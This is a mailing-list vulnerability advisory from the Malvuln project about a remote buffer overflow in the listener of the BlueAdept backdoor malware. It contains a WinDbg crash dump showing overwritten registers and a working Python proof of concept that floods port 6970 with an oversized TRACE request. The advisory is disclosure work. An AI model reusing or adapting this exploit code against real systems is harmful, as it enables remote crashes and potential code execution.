Message-ID: <CAAHK0WQxQ0onihA=U5x0=H2erEE0cN6Lm7h2+7cvrSYEZg-_aQ@mail.gmail.com>
Date: Sun, 21 Nov 2021 18:43:33 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BlueAdept.02.a / Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/694d21679cc212c59515584d1b65dc84.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BlueAdept.02.a
Vulnerability: Remote Buffer Overflow
Description: The malware listens on TCP port 6969, after connecting to the
infected host TCP ports 6970, 6971 are then opened. The newly opened port
6970 is vulnerable allowing third party attackers who can reach an infected
host ability to trigger a buffer overflow overwriting EAX, ECX and EDX
registers.
Type: PE32
MD5: 694d21679cc212c59515584d1b65dc84
Vuln ID: MVID-2021-0408
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/21/2021

Memory Dump:
(1a34.157c): Access violation - code c0000005 (first/second chance not
available)
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014
edi=0045e610
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
*** WARNING: Unable to verify checksum for
Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:
00401c62 8902            mov     dword ptr [edx],eax
 ds:002b:41414141=????????

0:000> .ecxr
eax=41414141 ebx=04213858 ecx=41414141 edx=41414141 esi=00000014
edi=0045e610
eip=00401c62 esp=000a141c ebp=0045e614 iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62:
00401c62 8902            mov     dword ptr [edx],eax
 ds:002b:41414141=????????

0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
00401c62 8902            mov     dword ptr [edx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401c62
(Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x00001c62)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 41414141
Attempt to write to address 41414141

PROCESS_NAME:
 Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62
00401c62 8902            mov     dword ptr [edx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  0000157c

BUGCHECK_STR:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141

IP_ON_HEAP:  0423fffc
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 0423fffc to 00401c62

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be
wrong.
0045e614 0423fffc 02563ae8 02561754 02561774
Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+0x1c62
00000000 00000000 00000000 00000000 00000000 0x423fffc


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:
 Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84

IMAGE_NAME:
 Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:
 STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.BlueAdept.02.a.694d21679cc212c59515584d1b65dc84.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_BlueAdept_02_a_694d21679cc212c59515584d1b65dc84+1c62


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=6969
PORT2=6970 #vuln port

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    time.sleep(1)
    print("[+] Opened vulnerable port!")
    s.close()

    PAYLOAD="TRACE /"+"A"*17558+ " HTTP/1.1\r\n\r\n"

    s2=socket(AF_INET, SOCK_STREAM)
    s2.connect((MALWARE_HOST, PORT2))

    print("[+] Sending malicious packets!")

    for i in range(0, 10):
        s2.send(PAYLOAD)
        time.sleep(0.2)

    s2.close()


if __name__=="__main__":
    doit()
    print("Malvuln")


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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